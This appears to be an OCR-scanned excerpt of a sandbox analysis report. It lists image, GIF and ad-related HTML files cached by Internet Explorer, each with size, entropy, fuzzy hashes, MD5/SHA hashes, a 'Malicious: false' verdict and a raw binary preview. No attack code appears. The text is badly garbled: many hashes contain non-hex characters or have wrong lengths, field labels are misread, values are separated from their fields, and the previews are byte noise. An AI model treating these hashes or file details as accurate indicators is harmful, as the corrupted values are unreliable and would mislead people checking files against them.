PNG........ IHDR................ a...pHYs......... +......IDATx.e{L.¢..2.5.Juq.H..)QV.J......56.f.|.iXn..0.[6L.%L ki.,.)V1b.J.SgrKg....90...{....~..s..1.z........44wW1..Y.7;..c>.W..u.O..
d.vE.[2.9_...pN].......J.....].D.....Q@g.w.[.g.mC b..b.,..s*.0"~$5..0K3qQq.%9&.... {PK.. kf..S..d..%.....[...)*fSb(*]....Q..C.;k.....~;ADBE..0...Nb....,.C..A..IG..5.8Q......5....]
...... LC.._}.VA...rJ...h. & LDQP.cA."..3qsu.d2">r...%1: PA k..C8AKWA..s ._/-.n=~#VV#d..\..........B.<{.Q..}{k..._.EB,.O....b6..p....L..*5....>..mj?.R.3.0P..g._f
6.7..._N..L.8.....[.ThG....1.8%".@.......]..%"]......... T?.K[u..'/6&.1.P2.k..ZG.._...I+.HX....d..R..&...9....be_&..y.|"2)..IGv..a....ZE.|..s....IEND.B".

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\AAQby46[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 363

Entropy (8bit):  7.158572738726479

Encrypted: false

SSDEEP: 6:6v/IhPahmo4mUMeAcyo60p0DbmaEqs2WQ5xTJIp8ub7rvz81qBI884CUq109LaP/U:6v/7N/Ngfom/WaxHfg6IHhUuHU

MD5: 2F9F3CB5388BCD08347366720CE5D288

SHA1L: A39BAC27D57324389B7B65180D231A9030494616

SHA-256: 8E87ACBF78E18EEF07524A2EDB0100BBBF77213CC16227046411F1EEBB6727F4

SHA-512: FC26F4E0B2B8FDDFEES5657C9425FFOF8C6E2CFFOB8144E3DAS597DBA15CA28CE2B10113967B3DE61DD137C6AE384199A03974761A5382FEA93BE250EF9217C2
D

Malicious: false

Preview:

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\AARIHk9[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 622x368, frames 3
Category: dropped

Size (bytes): 22187

Entropy (8bit): 7.823487910271174

Encrypted: false

SSDEEP: 384:lw64suNmj3MIjnMfgk1B7+ladrx3eNzi/x/I5w+QujCHNRTunP1KaU:lj4IJNmLxhoN+IXcnQueR2KaU

MD5: 8CFB07A50C5898ED84ECE2BEADAB2D66

SHAL: FFOFD5B388DF586E4A376883F4A680D773C70B68

SHA-256: C09DB064F815073A445A459FE4C5DC4AB14A9CF2F97B15AAC86D00SESFCFF490
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIE\PSUEOSZZ\AARIHk9[1].jpg

SHA-512: D383A52D1033DFA44793FFA150C5146210A3568BB381C2506574A5ADB14A25C498FD47F6DBD52FDOEC6656D11B22433B51B0696B291332B2D6BDDCD2480D92E
Malicious: false
Preview:

...... JFIF..... )10.)-,3:3>36F7,-@WAFLNRSR2>ZaZP"JQRO.......&..&05-5000000000000000000000000000000000000
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\AARIJ4T[1].jpg
Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 310x166, frames 3
Category: dropped
Size (bytes): 5803
Entropy (8bit):  7.760174772862359
Encrypted: false
SSDEEP: 96:QfPEZqYfRLKXSMV2XALKOI62L40YjzQ6EelCCOXb5msxY9AYm1f1OLjj+Ygy:QnteRQEQ2aLkLpLpYQ8HCOrtYk1Orix
MD5: 03E41B958B2CE9B85DF99739D9BFB1BD
SHA1L: 94ADA4724995A11494A4C451B22F64433A632244F
SHA-256: 9DB5B13FD53FDB6194508D8165FB4398E5C30056821F1F3BF05714C6AF002803
SHA-512: 0A45D3A5CDESDOC2039A536A6CE91C832BFFC5859C484160B74DF353D1319AE2FEBD30135C565C500AD4E85295676630E10C371E42C8B8999A67897E3B15E37
Malicious: false
Preview:
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\AARIMfv[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 311x333, frames 3

Category: dropped

Size (bytes): 7448

Entropy (8bit):  7.523123834449348

Encrypted: false

SSDEEP: 192:Q2/VSRNE77hResniHAROf98 TCMcXg4xXKRVmMV9JUPERVEfHBZ:N/VSRM7/iIHAROfMCBTXwVmFbRqvi

MD5: OEFC457805D9933D79528CBF37B6CF87

SHA1L: 6A893F0CD657D76B1802882F8539C52DD005FAAQ

SHA-256: FOC6D41D0FB2C506180994702FD0A3ES4864D77ED329170A2C0ES54F8F527F986

SHA-512: 1B079B3COE4E0F838B3F7AD6BC5744C5263C654C8DF044DEDD30C67BBDB3EB3C9A4A0920942D42DDBC46A004102C45D4808D04BB9725E1771C231102B3939A
9

Malicious: false

Preview:
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\AARIMmVR[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 311x333, frames 3
Category: dropped

Size (bytes): 19736

Entropy (8bit):  7.949340933037777

Encrypted: false

SSDEEP: 384:N+gPPP9TWGxoxsFLXgPIHKaFFvrOBFxM+YranxQBuLH:NfnPEOoxsFLXgPGLIuxMnfQB6

MD5: D3221B6BE6AC204663C8AD2095756C57

SHAL: TAEF52722F924E4289B83D6A2BCA3EE2FIFES7B8

SHA-256: D1177AA2D9C644C3AE5A1571DA4DA613FIF9597C758699F57ED04D6DAFD1A74D

SHA-512: 8488B3DA5BCDDSEF3B43870967320A8FBB4D3420581C4CAEE318AFF11A088F4C069F25D684A78882C5982A4499AF15FEA9227BAE6B6AF354B6E4A4326F82F 111
Malicious: false
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCachellIE\PSUEOSZZ\AARImVR[1].jpg

Preview:

L.7W{..m....u+..1.-.<%q4...|.F...F}k...".m..;]

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\AARIuon[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 310x166, frames 3
Category: dropped

Size (bytes): 10779

Entropy (8bit):  7.939187885825493

Encrypted: false

SSDEEP: 192:QnoyuXFXIAZMX+FSchZNTpJSFKeg+OG14uYISeR9olYshbqVu0Xj2:00nVsMuF59UFKepZY hjvXj2

MDS5: 2FFFD594494C78F318CC351DF07DC03B

SHA1L: 37628AEF2493DD8416FEBI9OCAOFFE49436B07A7F

SHA-256: FE623CDC070C20588BFA3A26460A8C1749B9C1D3C7B51FED903764A52B6E97C5

SHA-512: 600B470023EBF559155CCCCD9409F018F5B31F8DE44A5A3419C5C8BDA2CD8CFF447BCBCD10D4876AC3BDID927F4126BDBDA91F3E9E6ALELISCF370FC16B58€
65

Malicious: false

Preview:

.)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP"JQRO....... &..&05-50000000000000000000000000OO0OO0O0000

L*MLLLT7.&.H.~S.9.3F.P#fl1.. .ek./sn.....fK.....

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\AARmM1Gs[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 311x333, frames 3
Category: dropped

Size (bytes): 28102

Entropy (8bit):  7.964779445035527

Encrypted: false

SSDEEP: 768:Ne7EasR4/2EVj4anOnRBZIfCRWbB1zXExGF6KaDajuqvEin:NgsRc2JVIfCCXEWIIgMK

MD5: OF4FA917421E275C28C184302D26CA14

SHA1L: 7BFA75813898F175F254596D123DC66DAF611343

SHA-256: 8B8266F23049264186EBE13144D27ABC4BF13C3B24B50DCA313A8477077F2DD9

SHA-512: 64FD6882A34EF2DDA72E844480A4FE1F4DBEBES6EAB642D4D37439CB714896926F065DD917C6819D3B1F4E09837EF1063A71E0E0789844473A781C3CAB0E3C4L
Malicious: false

Preview:
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\AARmger[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 206x250, frames 3
Category: dropped

Size (bytes): 11165

Entropy (8bit):  7.952720665479278

Encrypted: false

SSDEEP: 192:QofUT98WTOALNI0oSJIfPsbN5gaTuot2CEE96IRDhDSiuWriqG/t1ZWOuDLXKnoH76:bfUT98i0OwloS5PsbN5qacHE9IDNWCVrt
MD5: 5569435E24021161E5537D6E151302B1

SHAL: 70C044A067C3CFCB9C529E65BD1FB7ACDADSA8FB

SHA-256: CF4B1A74D642B6845A5EDF8D1EEEDIE2FD6EBD019292610EDF293F3C656926EF

SHA-512: 0781EF9C639EBOBB39047D8EC16F5CC91C6045A1A0960BAC331436EDC803293E5E1A4909E098DES17C6707F8688AE3C3E75E047540CEA0515E661606B1EB14B!
Malicious: false

Preview:
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIE\PSUEOSZZ\AARmvNWI[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 206x250, frames 3
Category: dropped

Size (bytes): 12221

Entropy (8bit):  7.9613372660841675

Encrypted: false

SSDEEP: 192:QoKdy1kGjqZRb1W2q9+bLVeOh+TFP5EcCB8pJ4hMDYAzypAlasvocXfPIDHNpfM/:bK80Gjq18ue0hCF1B/Y4ypQX3IDHRMuK

MDS5: DED662CEDE6DB81BCB013B72209AE3C2

SHA1L: 6D804D44A171F6CBC4F15DA3F0C19707519EA2B6

SHA-256: 67A0EA105B4BF9D869F97309CD53EFBI0BA2F26C51A52CD975EBC314B7A1A39F

SHA-512: C8F4A66408D603B6AF64612B98F92DC581999FB14221DD2946061C0B7E18D93808E98B7EC408188680581988754A0731C13CCC42C8E434FBDFC960315E484800

Malicious: false

Preview:
...... JFIF. .0 e e ) 100)-,3:13>36F7,-@WAFLNRSR2>ZaZP JQRO.......&..&05-5000000000000000000000000000000000000
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\AARmyym[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 206x250, frames 3

Category: dropped

Size (bytes): 7212

Entropy (8bit):  7.882392318186589

Encrypted: false

SSDEEP: 192:Q0TCB4Pg9/41IDgY CyDA2j27fFZD64/QtyKQ:hgCgK8MYU379BfQtyKQ

MD5: 804EF9D52496634B39D27D61B75ADADD

SHA1L: CE5CD83EAF9BF2BD8964D1BFFF5B5F89D87748AD

SHA-256: 12614527481A9B39F59FF6E4F56546BAC608ESDF63EA94F41ABE8400DA051709

SHA-512: E6DOFA52B704DB143668740DCB1E275D6083331B9A676EF13EBIE7B82F5FEC1C156F1853E32379112AEF742B41D6A8F1037C2EBF109275AEFBBF2558A4BBD9D
C

Malicious: false

Preview:
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C:\Usersl\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\BB1aXBV1[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 27 x 27, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 1161

Entropy (8bit):  7.80841974432226

Encrypted: false

SSDEEP: 24:zxxmempCXfPZg+DLeP1cRWZFIjvh3wuiFZMrFYzWkG4iD3w:zxRBXfBOk1cRuFIbIJWsFYT/2w

MDS5: D858BE67BEA11BF5CEC1B2A6C1C1F395

SHA1L: 6090B195BEF6AF1157654048EECEA81E2DCEC42A

SHA-256: FC7CF2E8592C8E63CFF72530DA560E3293EC2DE3732823DBAEB4464609EA0494

SHA-512: 180FA05957A2FCF8192006D5F8E8SD3E4DE1D79DD6F9F100D254C513068FC291B3086DE9A8897B3658D83FE3335FDEB4023F13AC3A6A8A507729AE22B621EC7D

Malicious: false

Preview:
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIE\PSUEOSZZ\BB1cEP3G[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 27 x 27, 8-bit/color RGBA, non-interlaced
Category: dropped

Size (bytes): 1088

Entropy (8bit): 7.81915680849984
Encrypted: false
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIE\PSUEOSZZ\BB1cEP3G[1].png

SSDEEP: 24:FCGPRm4XxHvhNBb6W3bc7631U6+peaq90lUkiRPfoc:/pXBvkW3bc7k1FqWIUKSTB

MDS5: 24F1589A12D948B741C2E5A0C4F19C2A

SHA1L: DC9BB00C5D063F25216CDABB77F5F01EA9F88325

SHA-256: 619910A3140A45391D7D3CB50EC4B48FOBOC8A76DC029576127648C4BD4B128C

SHA-512: 5D7A17B05E1FD1BC02823EC2719D30BC27A9FA03BCFFE30F3419990E440845842F18797C9071C037417776641AB2CDB86F1F6CD790D70481B3F863451D3249EE
Malicious: false

Preview:
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\PSUEOSZZ\BB1cG73h[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 27 x 27, 8-bit/color RGBA, non-interlaced
Category: dropped

Size (bytes): 1131

Entropy (8bit):  7.767634475904567

Encrypted: false

SSDEEP: 24:IGHOpUewXx5mbpLxMkes8rZDN+HFICwUntvB:JCY9xr4rZDEFC

MDS5: D1495662336B0F1575134D32AF5D670A

SHAL: EF841C80BB68056D4EF872C3815B33F147CA31A8

SHA-256: 8AD6ADB61B38AFF497F2EEB25D22DB30F25DE67D97A61DC6B050BB40A09ACD76

SHA-512: 964EE15CDC096A75B03F04E532F3AASDCBCB622DESE4B7E765FBADES8FFI3F12C1B49A647DA945B38A647233256F90FB71E699F65EE289C8B5857A73A7TEGAA(
6

Malicious: false

Preview:
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\BB1kKVy[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 30 x 30, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 898

Entropy (8bit):  7.694927757951535

Encrypted: false

SSDEEP: 24:A0SFWQNh8iuQ/HM5V7Wp7Cxf2aA5DbK1cbr:AoUNhtuQES9WpWx+a6PI

MD5: 2FAD21634CAOEC2AEFOD32E72748CCFB

SHA1L: 4D4727E108164985D0722A32035F58FAOBDAD19E

SHA-256: A8FD087BD67E5CEBC1B90AB2E4DD94847B947B849EEBDE4E816DF54ABE66C589

SHA-512: 30D075B21AB5891C2FB8684DE64F784F0F65784307C36076ADB745131COE9CABEBIDFC5C74BCI9BBF210620D1A525E9FAC1626BBB35B49946955C609378D3B18!

Malicious: false

Preview:
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.al4h...H.P..pH...}h42.E..0.fg.V.> +..2D.D..j..d2-AL..R)sk.\"\.t...Inll.s8..A">.6.%.0..f..{ 4.51..42S.g.j...IV..".._F.IK.B.v.rm...N......1@.T.c.9%....C6..H8)....."
.0666.9%h....7............ j.>.8STI.G..t.P.6....e0......IEND.B".

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIE\PSUEOSZZ\BB7hjL[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 462

Entropy (8bit):  7.383043820684393

Encrypted: false

SSDEEP: 12:6v/7FMgLOKPV1ALxcVgmgMEBXu/+vVIIMhZkdjWu+7cW1T4:kMgoyocsOmIZII+7cW1T4

MD5: F810C713C84F79DBB3D6E12EDBCD1A32

SHAL: 09B30AB856BFFDB6AABE09072AEF1F6663BA4B86

SHA-256: 6E3B6C6646587CC2338801B3E3512F0C293DFF2F9540181A02C6A5C3FEL525A2

SHA-512: 236A88BDO5EAF210F0B61F2684C08651529C47AA7DCBCD3575B067BEDCALFBEE72E260441BAEAD45ABE32354167F98521601EA21DDF014FF09113EC4C0D9D7!
8

Malicious: false
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIE\PSUEOSZZ\BB7hjL[1].png

Preview:

PNG........ IHDR...ccovrvinn a...pHYs......... +....IDATX...N.P...C.l...)...Mcb*qaC/..]..7..L.X.Z.....W..coeeo . S P "FX3V A LRt} BT (X (- f
....0.8...|A.:P%.P..if.t..P..T.6..)s..H..~.C..(.7.s>....~...h..bz...Z.....D4AVM.T...2.5.U.P....q.6..1t~.ZU....7.i...".b.i.~..G.AL.& +S.(<(...y._W..q........ Q.L.1.Tz. Qs g...+.0.].
.J..$.8.F.l.....XT..kV...[IEND.B".

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIE\PSUEOSZZ\BBPfCZL[1].png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

GIF image data, version 89a, 50 x 50

dropped

2313

7.594679301225926

false
48:5Zvh217Zt5SkY33fS+PuSsgSrrVi7X3ZgMjkCqBn9VKg3dPnRd:vkrrS333q+PagKk7X3Zgal9kMpRd
59DAB7927838DE6A39856EED1495701B

AB0734C857BFF8FF159C1879A041C6EA2329A1FA
544BA9B5585B12B62B01C095633EFC953A7732A29CB1E941FDESAD62AD462D57
7D3FB1A5CC782E3C5047A6C5F14BF26DD39B8974962550193464B84A9B83B4C42FB38B19BDOCEF8247B78E3674F0C26F499DAFCF9AF780710221259D2625DB8¢

false

GIF89a2.2....7..;..7..C..I.H..<..9....8.F.7.E.@..C..@..6..9..8.J..72.G..>..?..A..6..>..8.....A.=.B.4.B..D.=. K.=.@..<...3~B.D....,|.4.2.6...0..;..G...FL.1}.4.R....
Y.E.>.9.5.X.A2.P.J..9.. . TH+Z...+.<Fq.Gn.V..;.7.Lr.W..C.<.Fp]...A...0{L.E.H.@....3..3.0.M.K...#[.3i.D.>........ l...<n..;..Z.1.G..8..E....Hu..1.>..
T.aFs..C..8..0}....;..6..t.Ft..5.Bi...x..E....." >.?2.n.....0.......s...)a.Cm...."a.0Z..7....3f..<.e....@.q.....Ds..B....IP
Nede Li

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\PSUEOSZZ\BBX2afX[1].png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

PNG image data, 27 x 27, 8-bit/color RGBA, non-interlaced

dropped

879

7.684764008510229

false
24:nbwTOG/D9S9kmVgvOcOWLIPIjuX7wIA3IrvfFRNa:bwTOk5S96vBB1jGwO3lIzfxa
4AAAECICAG6F651BE6C54BO0SE92EA928
7296EC91AC01A8C127CD5B032A26BBCOB64E1451
90396DF05C94DD44E772B064FF77BC1E27B5025AB9C21CE748A717380D4620DD
09EODE84657F2E520645C6BE20452C1779F6B492F67F88ABC7AB062D563C060AES51FC1E99579184C274AC3805214B6061AEC1730F72A6445AEBDB7E9F255755F

false

PNG........ IHDR....ocvvnren. U...pHYs.......... +o JIDATX K QWAL UL F 1) Ze >0VO0bQ......d?|....F.QI$...qf.s...">y .....{~.6.Z." .D[&.cV"..-8i..).S.N.Xf.6@.V.(E..S.
&L T2 X)$ s LV PO p4b)y=2. [ LWBLLAEB L 2.~ s _Z.X 0. X KWLG2..9. <\ gv..n 1.0, 1) L HE AL D5 H... . W..$_\G.e;./.IR+V....j.6V...
..... z.k (ol \<lB 2 # S

QN=0VQ._.|..>@...P.7T.8./)s... Wy..8.XV.....D....8."D@....E.E......._(...4W....Ir..e-5..Zjg...e?./..|X..."|..*/......OL.J".MP... #..G.VC..E..m....WS.&K<...K*q. \..A. $.K
wovnn[D...8.2.)..3...IEND.B".

C:\Users\luser\AppDatal\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\a8a064[1].gif

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

GIF image data, version 89a, 28 x 28

dropped

16360

7.019403238999426

false
384:92SEiHys4AeP/6yghkUZp72i+ccys4AeP/6yghkUZaoGBm:g2Tjs4Ae36kOpgi+c/s4Ae36kOaoGm
3CC1C4952C8DC47B76BE62DC076CE3EB

65F5CE29BBC6EOCO7C6FECI9BI6884E38A14A5979
10E48837F429E208A5714D7290A44CD704DD08BF4690F1ABA93C318A30C802D9

5CC1E6F9DACA9CEAB56BD2ECEEB7A523272A664FESEE4BBOADASAF983BA98DBASECF3848390DF65DA929A954AC211FF87CE4DBFDC11F5DFOC6E3FEABAS7
40EF7

false

R dbd............. /[ dfd........Inl. FRURPRRTON = 6o [N I N RN

[ TR D.$.di.h.INC....C..0.)Q..to..Li..td.c... T.%...@.UH..Z.0 Loyl

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIE\PSUEOSZZ\auction[1].htm

Process:
File Type:
Category:

C:\Program Files (x86)\Internet Explorer\iexplore.exe
HTML document, ASCII text, with very long lines, with CRLF line terminators
dropped
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIE\PSUEOSZZ\auction[1].htm

Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

17551

5.865788403698626

false

384:W+6M3MZ7qYZI61QgFRF60uUUb5Jq/gZNZKRNte TKs:WmG3gFqUN8YzwnUTL

FB23CAA310B193A30542E0925DF5ED64

22F4DF3844F5CFOB3F7EEE6E8C338E0AG033FD99

C2B626D9621017C35C364B64A6F5AACDIFOE4D1CDAD444BB15DFCD1FB7D7620E
DFF8E73FFD95446B6A758CFF34DA663064FEF312D2D178A6BF3A1D4EBOC61382FDD12B1B7B220C89525D5B084C13A07FABL119A757385F9279B2A80036114D4t

false

..<script id="sam-metadata" type="text/html" data-json="{&quot;optout&quot;:{&quot;msaOptOut&quot;:false,&quot;browserOptOut&quot;:false},&quot;taboola&quot;:{&
quot;sessionld&quot;:&quot;v2_0ch8fd0e5b06e4314d68b65b31203be4_0b913dac-46b1-4853-9c23-78ae93a71079-tuct8a2e4c7_1638489927_1638489927_Cli3jg
YQr4c_GKqPubjY8dmUcCABKAEwWKziyOA1AOIgQSN7Y2QNQ AVgAYABoopygvanCgcmOAXAA&quot;},&quot;tbsessionid&quot;:&quot;v2_0ch8fd0
e5b06e4314d68b65b31203be4_0b913dac-46b1-4853-9¢23-78ae93a71079-tuct8a2e4c7_1638489927_1638489927_Cli3jgYQrdc_GKgPubjY8dmUcCABKAEWK
ziyOA1AOIgQSN7Y2QNQ AVgAYABoopygvanCqcmOAXAA&quot;,&quot;pageViewld&quot;:&quot;al05d8f35ae34039abe49e605b039bc2&quot;,
&quot;RequestLevelBeaconUrls&quot;:[]}">..</script>..<li class="triptych serversidenativead hasimage " data-json="{&quot;tvb&quot;:[],&quot;trb&quot;:[],&quot;tjp&quot;:[
1,&quot;p&quot;:&quot;taboola&quot;,&quot;e&quot;:true}" data-provider="taboola" data-ad-region="infopane" data-ad-index="2" data-viewabilit

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\PSUEOSZZ\e151e5[1].gif

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

GIF image data, version 89a, 1 x 1

dropped

43

3.122191481864228

false

3:CUTxIs/1h/:7IU/

F8614595FBA50D96389708A4135776E4
D456164972B508172CEE9D1CC06D1EA35CAL5C21
7122DE322879A654121EA250AEAC94BD9993F914909F786C98988ADBD0A25D5D
299A7712B27C726C681E42A8246F8116205133DBE15D549F8419049DF3FCFDAB143E9A29212A2615F73E31A1EF34D1F6CEOECO93ECEADO37083FA40A075819D2

false

GIF89a....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lIE\PSUEOSZZ\http___cdn.taboola.com_libtrc_static_thumbnails_58lael0alac0d6
84e3ee0516ec7f1737[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 207x311, frames 1
dropped

18082

7.978143127862173

false

384:a92453w0QyP/KOC440MxLu7qrQXpgazJhzkOgHDrMZ0fPEyRsX:aZ453LpXHf4/uUQ5Dhzz2DrLPEWO
771AF000633A0158CCO7E79DC7384E0C

E88CEBF69430748F6FO0ACC16625A9CC1511F0457
2195D547D822989AC9790E63C95885860EBE3FD249D0195A52227F99C383B834

AA5D49CEFBCE214B8B394708A4C19EE2F831BBFAF407D8AEE32A3021FEC1IAGAGAF3BCEAS3A17B9179DFB145D9146F715D2EC3EFB14C548068111AE43D118E
C4E

false

...... JFIF e Ctiiiiiceiccneeee e & &0-0>>T T e AR PRS0 %W ~RI0L)S.L.$. @ U ((LIR;..J..7GF<.LLLUS.iIS.M
4w (LR, \D.T{s..D..6..\:>_J..=.C..-(en..u....e.. X|(W<..p..7..U..21...
LSILL2s . XL > Jv....0.Ws...+s./.=...C...0....6.....q7.....V..J jL.).z#/..}..

g.s.m.9 A .dge....b.Q:."vr....h."7.U.S.....0;.K...d(.....__ W..CM...-.....S.Apxk't.z@...h.$...s../....x.2L.[.LFGa.6...}.#.0...L....=.........
(7....5r...0....k.....#..4G0....T.]..&h.Udy.4m .}.}....u3..c."...2..zk.$.5.......~...&....[ ].Bzt..V.|.c(.....0&9....Q.WgT

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIE\PSUEOSZZ\http__cdn.taboola.com_libtrc_static_thumbnails_967a29a37c896af671157d56

£753b141[1].jpg

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 207x311, frames 3
dropped

7451

7.902862840287422

false

192:ZvkMdsps1ClareLW2X2IXTkW19zihAPXj1Iz0:ZvvsC1cTLjTTKW1Viifji1hO

F7FES8BCE11E188B9ADA4F853DB245B8F1

B1BA2E2B99292B0AF750694CD76A1470A66AA9A9
9B854B3B2A99658930019231E08D2E5067F9F14B84D630A3A21AA0A9C6FB22D8
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIE\PSUEOSZZ\http___cdn.taboola.com_libtrc_static_thumbnails_967a29a37c896af671157d56
f753b141[1].jpg

SHA-512: 0083264FD5ADB4AE5F0258F618A8979483E1E4FB59A52FCDAB4F2A365C3D739E53A84C10BD13FDFBE28A840451D37152F6DA9C3244C4ACBCF5047FAC84D5F6!
4

Malicious: false

Preview:

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIE\PSUEOSZZ\http___cdn.taboola.com_libtrc_static_thumbnails_a7d05af5e60e8707568c7b40
b90566cc[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 207x311, frames 3
Category: dropped

Size (bytes): 30796

Entropy (8bit):  7.980182521440564

Encrypted: false
SSDEEP: 768:42T3Lq18JTiw2RhoEB9XddI1EVWKEGBcldd9D4RY6t:tLq15MEXXY9PGBcnd5SYO
MDS5: C1BC6DA29BA675834490B65DCFBC589E
SHA1L: B4BAFBC325CAED3CC0305905F3427562ED7C630E
SHA-256: 6FAB9EBE1A2058F34AFDOD057E95632F8AA0524C506CA5802C5DBAAFD16293AB
SHA-512: 6C8F69DA40E108CE9A67EBBC72EC1B91D132C3E52E5D3B77E6CBD69ESAFALS6EDF241607CE6D17EBFBCA627A194C666A7027D40345D25E552C55D2796297D¢
5
Malicious: false
Preview:
...... JFIF e e 20..907))-969KKd. s L8081, 54(+5,N=77=NZLHLZNnbbN. ... 7 B
oot Bl FKELL90L R WL0.)..2..RU.U.B[:...J.R.F.GH./.D......, k...J . We..$T[*..elt......e.&.jQ...6."\....2 .<.Aab6....x.W"A\.@.Td,2.T..A.;..0.ah=...f3..C
=a.F..Gl..0.)..#..%s8v...#D..wD..<.)K....L.h..s39.C.p.QY..... E;.J\....._p.S....W.6.....M.".....LTL.2.4%*..e3sL..Z...(...05..\]..O... .jtL.H.T.h$.T.E5B-.......... V.M{>....}G.

3..Esysm9JJC*$.AY.A.Y...gb.E..C..J.C..xu}d...z...F..tndM/.. p.. .F:....(.G..u...e...fg..B.FY.).StE.U#. .D....Pz5[..... +>WX..G..i.0.wXG.5a..4x....hk...iR...8....XM.h%i.
